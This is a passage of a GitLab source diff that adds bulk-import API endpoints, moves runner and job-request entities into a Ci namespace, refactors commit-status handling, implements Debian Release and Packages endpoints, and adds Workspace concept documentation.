+++ b/doc/user/workspace/img/1.3-Admin.png
Binary files differ
diff --git a/doc/user/workspace/img/Admin_Settings.png b/doc/user/workspace/img/Admin_Settings.png
new file mode 100644
index 00000000000..5c4656ff342
--- /dev/null
+++ b/doc/user/workspace/img/Admin_Settings.png
Binary files differ
diff --git a/doc/user/workspace/index.md b/doc/user/workspace/index.md
new file mode 100644
index 00000000000..f098cef6053
--- /dev/null
+++ b/doc/user/workspace/index.md
@@ -0,0 +1,34 @@
+---
+stage: Manage
+group: Access
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Workspace
+
+Workspace will be the top-level [namespace](../group/index.md#namespaces) for you to manage
+everything GitLab, including:
+
+- Defining and applying settings to all of your groups, subgroups, and projects.
+- Aggregating data from all your groups, subgroups, and projects.
+
+Workspace will take many of the features from the
+[Admin Area](../admin_area/index.md), and there will be one workspace per:
+
+- Instance, for self-managed instances.
+- Namespace, for GitLab.com.
+
+NOTE:
+Workspace is currently in development.
+
+## Concept previews
+
+The following provide a preview to the Workspace concept.
+
+![Workspace Overview](img/1.1-Instance_overview.png)
+
+![Groups Overview](img/1.2-Groups_overview.png)
+
+![Admin Overview](img/1.3-Admin.png)
+
+![Admin Overview](img/Admin_Settings.png)
diff --git a/generator_templates/usage_metric_definition/metric_definition.yml b/generator_templates/usage_metric_definition/metric_definition.yml
index 53ff84fc4ab..209ff628eb5 100644
--- a/generator_templates/usage_metric_definition/metric_definition.yml
+++ b/generator_templates/usage_metric_definition/metric_definition.yml
@@ -11,7 +11,7 @@ milestone: "<%= milestone %>"
introduced_by_url:
time_frame: <%= time_frame %>
data_source:
-data_category: Operational
+data_category: Optional
distribution:
<%= distribution %>
tier:
diff --git a/lefthook.yml b/lefthook.yml
index daab6e7f4a0..81ff2ecdada 100644
--- a/lefthook.yml
+++ b/lefthook.yml
@@ -38,3 +38,9 @@ pre-push:
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
glob: 'doc/*.md'
run: if command -v vale 2> /dev/null; then vale --config .vale.ini --minAlertLevel error {files}; else echo "Vale not found. Install Vale"; fi
+ gettext:
+ skip: true # This is disabled by default. You can enable this check by adding skip: false in lefhook-local.yml https://github.com/evilmartians/lefthook/blob/master/docs/full_guide.md#skipping-commands
+ tags: backend frontend view haml
+ files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD | while read file;do git diff --unified=1 $(git merge-base origin/master HEAD)..HEAD $file | grep -Fqe '_(' && echo $file;done; true
+ glob: "*.{haml,rb,js,vue}"
+ run: bin/rake gettext:updated_check
diff --git a/lib/api/admin/ci/variables.rb b/lib/api/admin/ci/variables.rb
index 654d3a48162..0462878c90c 100644
--- a/lib/api/admin/ci/variables.rb
+++ b/lib/api/admin/ci/variables.rb
@@ -8,7 +8,7 @@ module API
before { authenticated_as_admin! }
- feature_category :continuous_integration
+ feature_category :pipeline_authoring
namespace 'admin' do
namespace 'ci' do
diff --git a/lib/api/admin/plan_limits.rb b/lib/api/admin/plan_limits.rb
index 92f7d3dce0d..ab6a4e4a04a 100644
--- a/lib/api/admin/plan_limits.rb
+++ b/lib/api/admin/plan_limits.rb
@@ -41,6 +41,7 @@ module API
optional :npm_max_file_size, type: Integer, desc: 'Maximum NPM package file size in bytes'
optional :nuget_max_file_size, type: Integer, desc: 'Maximum NuGet package file size in bytes'
optional :pypi_max_file_size, type: Integer, desc: 'Maximum PyPI package file size in bytes'
+ optional :terraform_module_max_file_size, type: Integer, desc: 'Maximum Terraform Module package file size in bytes'
end
put "application/plan_limits" do
params = declared_params(include_missing: false)
diff --git a/lib/api/api.rb b/lib/api/api.rb
index 2a3033753f7..f9e89191a36 100644
--- a/lib/api/api.rb
+++ b/lib/api/api.rb
@@ -152,6 +152,7 @@ module API
mount ::API::Boards
mount ::API::Branches
mount ::API::BroadcastMessages
+ mount ::API::BulkImports
mount ::API::Ci::Pipelines
mount ::API::Ci::PipelineSchedules
mount ::API::Ci::Runner
@@ -166,12 +167,14 @@ module API
mount ::API::Deployments
mount ::API::Environments
mount ::API::ErrorTracking
+ mount ::API::ErrorTrackingCollector
mount ::API::Events
mount ::API::FeatureFlags
mount ::API::FeatureFlagsUserLists
mount ::API::Features
mount ::API::Files
mount ::API::FreezePeriods
+ mount ::API::Geo
mount ::API::GroupAvatar
mount ::API::GroupBoards
mount ::API::GroupClusters
diff --git a/lib/api/bulk_imports.rb b/lib/api/bulk_imports.rb
new file mode 100644
index 00000000000..189851cee65
--- /dev/null
+++ b/lib/api/bulk_imports.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+module API
+ class BulkImports < ::API::Base
+ include PaginationParams
+
+ feature_category :importers
+
+ helpers do
+ def bulk_imports
+ @bulk_imports ||= ::BulkImports::ImportsFinder.new(user: current_user, status: params[:status]).execute
+ end
+
+ def bulk_import
+ @bulk_import ||= bulk_imports.find(params[:import_id])
+ end
+
+ def bulk_import_entities
+ @bulk_import_entities ||= ::BulkImports::EntitiesFinder.new(user: current_user, bulk_import: bulk_import, status: params[:status]).execute
+ end
+
+ def bulk_import_entity
+ @bulk_import_entity ||= bulk_import_entities.find(params[:entity_id])
+ end
+ end
+
+ before { authenticate! }
+
+ resource :bulk_imports do
+ desc 'List all GitLab Migrations' do
+ detail 'This feature was introduced in GitLab 14.1.'
+ end
+ params do
+ use :pagination
+ optional :status, type: String, values: BulkImport.all_human_statuses,
+ desc: 'Return GitLab Migrations with specified status'
+ end
+ get do
+ present paginate(bulk_imports), with: Entities::BulkImport
+ end
+
+ desc "List all GitLab Migrations' entities" do
+ detail 'This feature was introduced in GitLab 14.1.'
+ end
+ params do
+ use :pagination
+ optional :status, type: String, values: ::BulkImports::Entity.all_human_statuses,
+ desc: "Return all GitLab Migrations' entities with specified status"
+ end
+ get :entities do
+ entities = ::BulkImports::EntitiesFinder.new(user: current_user, status: params[:status]).execute
+
+ present paginate(entities), with: Entities::BulkImports::Entity
+ end
+
+ desc 'Get GitLab Migration details' do
+ detail 'This feature was introduced in GitLab 14.1.'
+ end
+ params do
+ requires :import_id, type: Integer, desc: "The ID of user's GitLab Migration"
+ end
+ get ':import_id' do
+ present bulk_import, with: Entities::BulkImport
+ end
+
+ desc "List GitLab Migration entities" do
+ detail 'This feature was introduced in GitLab 14.1.'
+ end
+ params do
+ requires :import_id, type: Integer, desc: "The ID of user's GitLab Migration"
+ optional :status, type: String, values: ::BulkImports::Entity.all_human_statuses,
+ desc: 'Return import entities with specified status'
+ use :pagination
+ end
+ get ':import_id/entities' do
+ present paginate(bulk_import_entities), with: Entities::BulkImports::Entity
+ end
+
+ desc 'Get GitLab Migration entity details' do
+ detail 'This feature was introduced in GitLab 14.1.'
+ end
+ params do
+ requires :import_id, type: Integer, desc: "The ID of user's GitLab Migration"
+ requires :entity_id, type: Integer, desc: "The ID of GitLab Migration entity"
+ end
+ get ':import_id/entities/:entity_id' do
+ present bulk_import_entity, with: Entities::BulkImports::Entity
+ end
+ end
+ end
+end
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index c4e0b699524..0bac6fe2054 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -7,11 +7,11 @@ module API
content_type :txt, 'text/plain'
- feature_category :continuous_integration
+ feature_category :runner
resource :runners do
desc 'Registers a new Runner' do
- success Entities::RunnerRegistrationDetails
+ success Entities::Ci::RunnerRegistrationDetails
http_codes [[201, 'Runner was created'], [403, 'Forbidden']]
end
params do
@@ -34,10 +34,10 @@ module API
if runner_registration_token_valid?
# Create shared runner. Requires admin access
attributes.merge(runner_type: :instance_type)
- elsif @project = Project.find_by_runners_token(params[:token])
+ elsif runner_registrar_valid?('project') && @project = Project.find_by_runners_token(params[:token])
# Create a specific runner for the project
attributes.merge(runner_type: :project_type, projects: [@project])
- elsif @group = Group.find_by_runners_token(params[:token])
+ elsif runner_registrar_valid?('group') && @group = Group.find_by_runners_token(params[:token])
# Create a specific runner for the group
attributes.merge(runner_type: :group_type, groups: [@group])
else
@@ -47,7 +47,7 @@ module API
@runner = ::Ci::Runner.create(attributes)
if @runner.persisted?
- present @runner, with: Entities::RunnerRegistrationDetails
+ present @runner, with: Entities::Ci::RunnerRegistrationDetails
else
render_validation_error!(@runner)
end
@@ -82,7 +82,7 @@ module API
before { set_application_context }
desc 'Request a job' do
- success Entities::JobRequest::Response
+ success Entities::Ci::JobRequest::Response
http_codes [[201, 'Job was scheduled'],
[204, 'No job for Runner'],
[403, 'Forbidden']]
@@ -214,6 +214,10 @@ module API
.new(job, content_range: content_range)
.execute(request.body.read)
+ if result.status == 403
+ break error!('403 Forbidden', 403)
+ end
+
if result.status == 416
break error!('416 Range Not Satisfiable', 416, { 'Range' => "0-#{result.stream_size}" })
end
@@ -263,7 +267,7 @@ module API
end
desc 'Upload artifacts for job' do
- success Entities::JobRequest::Response
+ success Entities::Ci::JobRequest::Response
http_codes [[201, 'Artifact uploaded'],
[400, 'Bad request'],
[403, 'Forbidden'],
diff --git a/lib/api/ci/runners.rb b/lib/api/ci/runners.rb
index 44ffc941cfa..7f755b1a4d4 100644
--- a/lib/api/ci/runners.rb
+++ b/lib/api/ci/runners.rb
@@ -7,11 +7,11 @@ module API
before { authenticate! }
- feature_category :continuous_integration
+ feature_category :runner
resource :runners do
desc 'Get runners available for user' do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
optional :scope, type: String, values: ::Ci::Runner::AVAILABLE_STATUSES,
@@ -30,11 +30,11 @@ module API
runners = filter_runners(runners, params[:status], allowed_scopes: ::Ci::Runner::AVAILABLE_STATUSES)
runners = runners.tagged_with(params[:tag_list]) if params[:tag_list]
- present paginate(runners), with: Entities::Runner
+ present paginate(runners), with: Entities::Ci::Runner
end
desc 'Get all runners - shared and specific' do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
optional :scope, type: String, values: ::Ci::Runner::AVAILABLE_SCOPES,
@@ -55,11 +55,11 @@ module API
runners = filter_runners(runners, params[:status], allowed_scopes: ::Ci::Runner::AVAILABLE_STATUSES)
runners = runners.tagged_with(params[:tag_list]) if params[:tag_list]
- present paginate(runners), with: Entities::Runner
+ present paginate(runners), with: Entities::Ci::Runner
end
desc "Get runner's details" do
- success Entities::RunnerDetails
+ success Entities::Ci::RunnerDetails
end
params do
requires :id, type: Integer, desc: 'The ID of the runner'
@@ -68,11 +68,11 @@ module API
runner = get_runner(params[:id])
authenticate_show_runner!(runner)
- present runner, with: Entities::RunnerDetails, current_user: current_user
+ present runner, with: Entities::Ci::RunnerDetails, current_user: current_user
end
desc "Update runner's details" do
- success Entities::RunnerDetails
+ success Entities::Ci::RunnerDetails
end
params do
requires :id, type: Integer, desc: 'The ID of the runner'
@@ -92,14 +92,14 @@ module API
update_service = ::Ci::UpdateRunnerService.new(runner)
if update_service.update(declared_params(include_missing: false))
- present runner, with: Entities::RunnerDetails, current_user: current_user
+ present runner, with: Entities::Ci::RunnerDetails, current_user: current_user
else
render_validation_error!(runner)
end
end
desc 'Remove a runner' do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
requires :id, type: Integer, desc: 'The ID of the runner'
@@ -139,7 +139,7 @@ module API
before { authorize_admin_project }
desc 'Get runners available for project' do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
optional :scope, type: String, values: ::Ci::Runner::AVAILABLE_SCOPES,
@@ -158,11 +158,11 @@ module API
runners = filter_runners(runners, params[:scope])
runners = apply_filter(runners, params)
- present paginate(runners), with: Entities::Runner
+ present paginate(runners), with: Entities::Ci::Runner
end
desc 'Enable a runner for a project' do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
requires :runner_id, type: Integer, desc: 'The ID of the runner'
@@ -172,14 +172,14 @@ module API
authenticate_enable_runner!(runner)
if runner.assign_to(user_project)
- present runner, with: Entities::Runner
+ present runner, with: Entities::Ci::Runner
else
render_validation_error!(runner)
end
end
desc "Disable project's runner" do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
requires :runner_id, type: Integer, desc: 'The ID of the runner'
@@ -204,7 +204,7 @@ module API
before { authorize_admin_group }
desc 'Get runners available for group' do
- success Entities::Runner
+ success Entities::Ci::Runner
end
params do
optional :type, type: String, values: ::Ci::Runner::AVAILABLE_TYPES,
@@ -218,7 +218,7 @@ module API
runners = ::Ci::Runner.belonging_to_group(user_group.id, include_ancestors: true)
runners = apply_filter(runners, params)
- present paginate(runners), with: Entities::Runner
+ present paginate(runners), with: Entities::Ci::Runner
end
end
diff --git a/lib/api/commit_statuses.rb b/lib/api/commit_statuses.rb
index 27fee7fdea2..1785362656e 100644
--- a/lib/api/commit_statuses.rb
+++ b/lib/api/commit_statuses.rb
@@ -99,40 +99,26 @@ module API
updatable_optional_attributes = %w[target_url description coverage]
status.assign_attributes(attributes_for_keys(updatable_optional_attributes))
- if status.valid?
- status.update_older_statuses_retried! if Feature.enabled?(:ci_fix_commit_status_retried, user_project, default_enabled: :yaml)
- else
- render_validation_error!(status)
- end
+ render_validation_error!(status) unless status.valid?
- begin
- case params[:state]
- when 'pending'
- status.enqueue!
- when 'running'
- status.enqueue
- status.run!
- when 'success'
- status.success!
- when 'failed'
- status.drop!(:api_failure)
- when 'canceled'
- status.cancel!
- else
- render_api_error!('invalid state', 400)
- end
+ response = ::Ci::Pipelines::AddJobService.new(pipeline).execute!(status) do |job|
+ apply_job_state!(job)
+ rescue ::StateMachines::InvalidTransition => e
+ render_api_error!(e.message, 400)
+ end
- if pipeline.latest?
- MergeRequest.where(source_project: user_project, source_branch: ref)
- .update_all(head_pipeline_id: pipeline.id)
- end
+ render_validation_error!(response.payload[:job]) unless response.success?
- present status, with: Entities::CommitStatus
- rescue StateMachines::InvalidTransition => e
- render_api_error!(e.message, 400)
+ if pipeline.latest?
+ MergeRequest
+ .where(source_project: user_project, source_branch: ref)
+ .update_all(head_pipeline_id: pipeline.id)
end
+
+ present response.payload[:job], with: Entities::CommitStatus
end
# rubocop: enable CodeReuse/ActiveRecord
+
helpers do
def commit
strong_memoize(:commit) do
@@ -146,6 +132,24 @@ module API
pipelines = pipelines.for_id(params[:pipeline_id]) if params[:pipeline_id]
pipelines
end
+
+ def apply_job_state!(job)
+ case params[:state]
+ when 'pending'
+ job.enqueue!
+ when 'running'
+ job.enqueue
+ job.run!
+ when 'success'
+ job.success!
+ when 'failed'
+ job.drop!(:api_failure)
+ when 'canceled'
+ job.cancel!
+ else
+ render_api_error!('invalid state', 400)
+ end
+ end
end
end
end
diff --git a/lib/api/concerns/packages/debian_package_endpoints.rb b/lib/api/concerns/packages/debian_package_endpoints.rb
index c79ae3068b4..7740ba6bfa6 100644
--- a/lib/api/concerns/packages/debian_package_endpoints.rb
+++ b/lib/api/concerns/packages/debian_package_endpoints.rb
@@ -6,20 +6,17 @@ module API
module DebianPackageEndpoints
extend ActiveSupport::Concern
- DISTRIBUTION_REGEX = %r{[a-zA-Z0-9][a-zA-Z0-9.-]*}.freeze
- COMPONENT_REGEX = %r{[a-z-]+}.freeze
- ARCHITECTURE_REGEX = %r{[a-z][a-z0-9]*}.freeze
LETTER_REGEX = %r{(lib)?[a-z0-9]}.freeze
PACKAGE_REGEX = API::NO_SLASH_URL_PART_REGEX
DISTRIBUTION_REQUIREMENTS = {
- distribution: DISTRIBUTION_REGEX
+ distribution: ::Packages::Debian::DISTRIBUTION_REGEX
}.freeze
COMPONENT_ARCHITECTURE_REQUIREMENTS = {
- component: COMPONENT_REGEX,
- architecture: ARCHITECTURE_REGEX
+ component: ::Packages::Debian::COMPONENT_REGEX,
+ architecture: ::Packages::Debian::ARCHITECTURE_REGEX
}.freeze
COMPONENT_LETTER_SOURCE_PACKAGE_REQUIREMENTS = {
- component: COMPONENT_REGEX,
+ component: ::Packages::Debian::COMPONENT_REGEX,
letter: LETTER_REGEX,
source_package: PACKAGE_REGEX
}.freeze
@@ -40,6 +37,14 @@ module API
.sent_through(:http_basic_auth)
end
+ helpers do
+ def present_release_file
+ distribution = ::Packages::Debian::DistributionsFinder.new(project_or_group, codename_or_suite: params[:distribution]).execute.last!
+
+ present_carrierwave_file!(distribution.file)
+ end
+ end
+
format :txt
content_type :txt, 'text/plain'
@@ -65,8 +70,7 @@ module API
route_setting :authentication, authenticate_non_public: true
get 'Release' do
- # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
- 'TODO Release'
+ present_release_file
end
# GET {projects|groups}/:id/packages/debian/dists/*distribution/InRelease
@@ -76,7 +80,8 @@ module API
route_setting :authentication, authenticate_non_public: true
get 'InRelease' do
- not_found!
+ # Signature to be added in 7.3 of https://gitlab.com/groups/gitlab-org/-/epics/6057#note_582697034
+ present_release_file
end
params do
@@ -92,8 +97,20 @@ module API
route_setting :authentication, authenticate_non_public: true
get 'Packages' do
- # https://gitlab.com/gitlab-org/gitlab/-/issues/5835#note_414103286
- 'TODO Packages'
+ relation = "::Packages::Debian::#{project_or_group.class.name}ComponentFile".constantize
+
+ component_file = relation
+ .preload_distribution
+ .with_container(project_or_group)
+ .with_codename_or_suite(params[:distribution])
+ .with_component_name(params[:component])
+ .with_file_type(:packages)
+ .with_architecture_name(params[:architecture])
+ .with_compression_type(nil)
+ .order_created_asc
+ .last!
+
+ present_carrierwave_file!(component_file.file)
end
end
end
diff --git a/lib/api/debian_group_packages.rb b/lib/api/debian_group_packages.rb
index c6116a8b28f..191ed42a5b8 100644
--- a/lib/api/debian_group_packages.rb
+++ b/lib/api/debian_group_packages.rb
@@ -24,6 +24,12 @@ module API
end
namespace ':id/-' do
+ helpers do
+ def project_or_group
+ user_group
+ end
+ end
+
include ::API::Concerns::Packages::DebianPackageEndpoints
end
end
diff --git a/lib/api/entities/basic_project_details.rb b/lib/api/entities/basic_project_details.rb
index c75b74b4368..0b231906ccd 100644
--- a/lib/api/entities/basic_project_details.rb
+++ b/lib/api/entities/basic_project_details.rb
@@ -6,7 +6,7 @@ module API
include ::API::ProjectsRelationBuilder
include Gitlab::Utils::StrongMemoize
- expose :default_branch, if: -> (project, options) { Ability.allowed?(options[:current_user], :download_code, project) }
+ expose :default_branch_or_main, as: :default_branch, if: -> (project, options) { Ability.allowed?(options[:current_user], :download_code, project) }
# Avoids an N+1 query: https://github.com/mbleigh/acts-as-taggable-on/issues/91#issuecomment-168273770
expose :topic_names, as: :tag_list
diff --git a/lib/api/entities/bulk_import.rb b/lib/api/entities/bulk_import.rb
new file mode 100644
index 00000000000..373ae486dcf
--- /dev/null
+++ b/lib/api/entities/bulk_import.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class BulkImport < Grape::Entity
+ expose :id
+ expose :status_name, as: :status
+ expose :source_type
+ expose :created_at
+ expose :updated_at
+ end
+ end
+end
diff --git a/lib/api/entities/bulk_imports/entity.rb b/lib/api/entities/bulk_imports/entity.rb
new file mode 100644
index 00000000000..e8c31256b17
--- /dev/null
+++ b/lib/api/entities/bulk_imports/entity.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module BulkImports
+ class Entity < Grape::Entity
+ expose :id
+ expose :bulk_import_id
+ expose :status_name, as: :status
+ expose :source_full_path
+ expose :destination_name
+ expose :destination_namespace
+ expose :parent_id
+ expose :namespace_id
+ expose :project_id
+ expose :created_at
+ expose :updated_at
+ expose :failures, using: EntityFailure
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/bulk_imports/entity_failure.rb b/lib/api/entities/bulk_imports/entity_failure.rb
new file mode 100644
index 00000000000..a3dbe3280ee
--- /dev/null
+++ b/lib/api/entities/bulk_imports/entity_failure.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module BulkImports
+ class EntityFailure < Grape::Entity
+ expose :pipeline_class
+ expose :pipeline_step
+ expose :exception_class
+ expose :correlation_id_value
+ expose :created_at
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job.rb b/lib/api/entities/ci/job.rb
index 76487ed01dc..cf87684ce55 100644
--- a/lib/api/entities/ci/job.rb
+++ b/lib/api/entities/ci/job.rb
@@ -7,7 +7,7 @@ module API
# artifacts_file is included in job_artifacts, but kept for backward compatibility (remove in api/v5)
expose :artifacts_file, using: ::API::Entities::Ci::JobArtifactFile, if: -> (job, opts) { job.artifacts? }
expose :job_artifacts, as: :artifacts, using: ::API::Entities::Ci::JobArtifact
- expose :runner, with: ::API::Entities::Runner
+ expose :runner, with: ::API::Entities::Ci::Runner
expose :artifacts_expire_at
expose :tag_list do |job|
job.tags.map(&:name).sort
diff --git a/lib/api/entities/ci/job_request/artifacts.rb b/lib/api/entities/ci/job_request/artifacts.rb
new file mode 100644
index 00000000000..4b09db40504
--- /dev/null
+++ b/lib/api/entities/ci/job_request/artifacts.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Artifacts < Grape::Entity
+ expose :name
+ expose :untracked
+ expose :paths
+ expose :exclude, expose_nil: false
+ expose :when
+ expose :expire_in
+ expose :artifact_type
+ expose :artifact_format
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/cache.rb b/lib/api/entities/ci/job_request/cache.rb
new file mode 100644
index 00000000000..9820719b4f0
--- /dev/null
+++ b/lib/api/entities/ci/job_request/cache.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Cache < Grape::Entity
+ expose :key, :untracked, :paths, :policy, :when
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/credentials.rb b/lib/api/entities/ci/job_request/credentials.rb
new file mode 100644
index 00000000000..57cdd9c9b19
--- /dev/null
+++ b/lib/api/entities/ci/job_request/credentials.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Credentials < Grape::Entity
+ expose :type, :url, :username, :password
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/dependency.rb b/lib/api/entities/ci/job_request/dependency.rb
new file mode 100644
index 00000000000..2c6ed417714
--- /dev/null
+++ b/lib/api/entities/ci/job_request/dependency.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Dependency < Grape::Entity
+ expose :id, :name, :token
+ expose :artifacts_file, using: Entities::Ci::JobArtifactFile, if: ->(job, _) { job.artifacts? }
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/git_info.rb b/lib/api/entities/ci/job_request/git_info.rb
new file mode 100644
index 00000000000..872c896b870
--- /dev/null
+++ b/lib/api/entities/ci/job_request/git_info.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class GitInfo < Grape::Entity
+ expose :repo_url, :ref, :sha, :before_sha
+ expose :ref_type
+ expose :refspecs
+ expose :git_depth, as: :depth
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/image.rb b/lib/api/entities/ci/job_request/image.rb
new file mode 100644
index 00000000000..8e404a8fa02
--- /dev/null
+++ b/lib/api/entities/ci/job_request/image.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Image < Grape::Entity
+ expose :name, :entrypoint
+ expose :ports, using: Entities::Ci::JobRequest::Port
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/job_info.rb b/lib/api/entities/ci/job_request/job_info.rb
new file mode 100644
index 00000000000..5c3f4b08af2
--- /dev/null
+++ b/lib/api/entities/ci/job_request/job_info.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class JobInfo < Grape::Entity
+ expose :id, :name, :stage
+ expose :project_id, :project_name
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/port.rb b/lib/api/entities/ci/job_request/port.rb
new file mode 100644
index 00000000000..31aa06ff843
--- /dev/null
+++ b/lib/api/entities/ci/job_request/port.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Port < Grape::Entity
+ expose :number, :protocol, :name
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/response.rb b/lib/api/entities/ci/job_request/response.rb
new file mode 100644
index 00000000000..86c945cb236
--- /dev/null
+++ b/lib/api/entities/ci/job_request/response.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Response < Grape::Entity
+ expose :id
+ expose :token
+ expose :allow_git_fetch
+
+ expose :job_info, using: Entities::Ci::JobRequest::JobInfo do |model|
+ model
+ end
+
+ expose :git_info, using: Entities::Ci::JobRequest::GitInfo do |model|
+ model
+ end
+
+ expose :runner_info, using: Entities::Ci::JobRequest::RunnerInfo do |model|
+ model
+ end
+
+ expose :runner_variables, as: :variables
+ expose :steps, using: Entities::Ci::JobRequest::Step
+ expose :image, using: Entities::Ci::JobRequest::Image
+ expose :services, using: Entities::Ci::JobRequest::Service
+ expose :artifacts, using: Entities::Ci::JobRequest::Artifacts
+ expose :cache, using: Entities::Ci::JobRequest::Cache
+ expose :credentials, using: Entities::Ci::JobRequest::Credentials
+ expose :all_dependencies, as: :dependencies, using: Entities::Ci::JobRequest::Dependency
+ expose :features
+ end
+ end
+ end
+ end
+end
+
+API::Entities::Ci::JobRequest::Response.prepend_mod_with('API::Entities::Ci::JobRequest::Response')
diff --git a/lib/api/entities/ci/job_request/runner_info.rb b/lib/api/entities/ci/job_request/runner_info.rb
new file mode 100644
index 00000000000..96336a1080e
--- /dev/null
+++ b/lib/api/entities/ci/job_request/runner_info.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class RunnerInfo < Grape::Entity
+ expose :metadata_timeout, as: :timeout
+ expose :runner_session_url
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/service.rb b/lib/api/entities/ci/job_request/service.rb
new file mode 100644
index 00000000000..f89b95c1d5c
--- /dev/null
+++ b/lib/api/entities/ci/job_request/service.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Service < Entities::Ci::JobRequest::Image
+ expose :alias, :command
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/job_request/step.rb b/lib/api/entities/ci/job_request/step.rb
new file mode 100644
index 00000000000..2a0c4cd032e
--- /dev/null
+++ b/lib/api/entities/ci/job_request/step.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ module JobRequest
+ class Step < Grape::Entity
+ expose :name, :script, :timeout, :when, :allow_failure
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/runner.rb b/lib/api/entities/ci/runner.rb
new file mode 100644
index 00000000000..ede698696de
--- /dev/null
+++ b/lib/api/entities/ci/runner.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ class Runner < Grape::Entity
+ expose :id
+ expose :description
+ expose :ip_address
+ expose :active
+ expose :instance_type?, as: :is_shared
+ expose :runner_type
+ expose :name
+ expose :online?, as: :online
+ expose :status
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/runner_details.rb b/lib/api/entities/ci/runner_details.rb
new file mode 100644
index 00000000000..9d44da7e5b3
--- /dev/null
+++ b/lib/api/entities/ci/runner_details.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ class RunnerDetails < Runner
+ expose :tag_list
+ expose :run_untagged
+ expose :locked
+ expose :maximum_timeout
+ expose :access_level
+ expose :version, :revision, :platform, :architecture
+ expose :contacted_at
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ expose :projects, with: Entities::BasicProjectDetails do |runner, options|
+ if options[:current_user].admin? # rubocop: disable Cop/UserAdmin
+ runner.projects
+ else
+ options[:current_user].authorized_projects.where(id: runner.projects)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ # rubocop: disable CodeReuse/ActiveRecord
+ expose :groups, with: Entities::BasicGroupDetails do |runner, options|
+ if options[:current_user].admin? # rubocop: disable Cop/UserAdmin
+ runner.groups
+ else
+ options[:current_user].authorized_groups.where(id: runner.groups)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/ci/runner_registration_details.rb b/lib/api/entities/ci/runner_registration_details.rb
new file mode 100644
index 00000000000..fa7e44c9e40
--- /dev/null
+++ b/lib/api/entities/ci/runner_registration_details.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Ci
+ class RunnerRegistrationDetails < Grape::Entity
+ expose :id, :token
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/group_detail.rb b/lib/api/entities/group_detail.rb
index 408254a89be..61f35d0f784 100644
--- a/lib/api/entities/group_detail.rb
+++ b/lib/api/entities/group_detail.rb
@@ -7,6 +7,7 @@ module API
SharedGroupWithGroup.represent(group.shared_with_group_links.public_or_visible_to_user(group, options[:current_user]))
end
expose :runners_token, if: lambda { |group, options| options[:user_can_admin_group] }
+ expose :prevent_sharing_groups_outside_hierarchy, if: ->(group) { group.root? }
expose :projects, using: Entities::Project do |group, options|
projects = GroupProjectsFinder.new(
